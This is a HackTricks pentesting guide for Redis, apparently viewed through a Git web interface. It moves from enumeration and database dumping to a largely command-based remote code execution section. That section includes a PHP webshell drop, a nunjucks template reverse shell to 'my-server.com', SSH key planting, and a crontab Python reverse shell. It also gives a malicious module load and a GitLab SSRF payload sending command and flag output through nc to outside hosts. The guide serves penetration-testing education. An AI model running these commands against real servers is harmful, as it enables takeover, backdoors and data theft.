hacktricks/network-services-pentesting/6379-pentesting-redis.md
Carlos Polop 6e4ad0894d c
2024-07-19 11:08:05 +02:00

378 lines
18 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
From [the docs](https://redis.io/topics/introduction): Redis is an open source (BSD licensed), in-memory **data structure store**, used as a **database**, cache and message broker).
By default Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
**Default port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Automatic Enumeration
Some automated tools that can help to obtain info from a redis instance:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Manual Enumeration
### Banner
Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** (but this is very weird).
In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned:
```
-NOAUTH Authentication required.
```
In this last case, this means that **you need valid credentials** to access the Redis instance.
### Redis Authentication
**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.\
It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.\
Also, a **username** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file.
{% hint style="info" %}
If only password is configured the username used is "**default**".\
Also, note that there is **no way to find externally** if Redis was configured with only password or username+password.
{% endhint %}
In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\
**In case you found valid credentials you need to authenticate the session** after establishing the connection with the command:
```bash
AUTH <username> <password>
```
**Valid credentials** will be responded with: `+OK`
### **Authenticated enumeration**
If the Redis server permits **anonymous connections** or if you have obtained valid credentials, you can initiate the enumeration process for the service using the following **commands**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Other Redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.**
Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB:
```
rename-command FLUSHDB ""
```
More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
You can also **monitor in real time the Redis commands** executed with the command **`monitor`** or get the top **25 slowest queries** with **`slowlog get 25`**
Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
![](<../.gitbook/assets/image (766).png>)
Or you can just get all the **keyspaces** (databases) with:
```
INFO keyspace
```
In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
In case you get the following error `-WRONGTYPE Operation against a key holding the wrong kind of value` while running `GET <KEY>` it's because the key may be something else than a string or an integer and requires a special operator to display it.
To know the type of the key, use the `TYPE` command, example below for list and hash keys.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Redis RCE
### Interactive Shell
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) can automatically get an interactive shell or a reverse shell in Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.
### Template Webshell
Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.
For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), you can see that the attacker injected a **rev shell in an html** interpreted by the **nunjucks template engine:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Note that **several template engines cache** the templates in **memory**, so even if you overwrite them, the new one **won't be executed**. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).
{% endhint %}
### SSH
Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it:
1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`**
2. Write the public key to a file : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Import the file into redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Save the public key to the **authorized\_keys** file on redis server:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id\_rsa redis@10.85.0.52**
**This technique is automated here:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
This method can also be used to earn bitcoin [yam](https://www.v2ex.com/t/286981#reply14)
### Load Redis Module
1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**.
2. Then you need some way to **upload the compiled** module
3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so`
4. **List loaded modules** to check it was correctly loaded: `MODULE LIST`
5. **Execute** **commands**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Unload the module whenever you want: `MODULE UNLOAD mymodule`
### LUA sandbox bypass
[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**.
Some **CVEs to escape from LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Master-Slave Module
The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF talking to Redis
If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** (maybe with a CRLF vuln) or **POST parameters**, you will be able to send arbitrary commands to Redis.
### Example: Gitlab SSRF + CRLF to Shell
In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}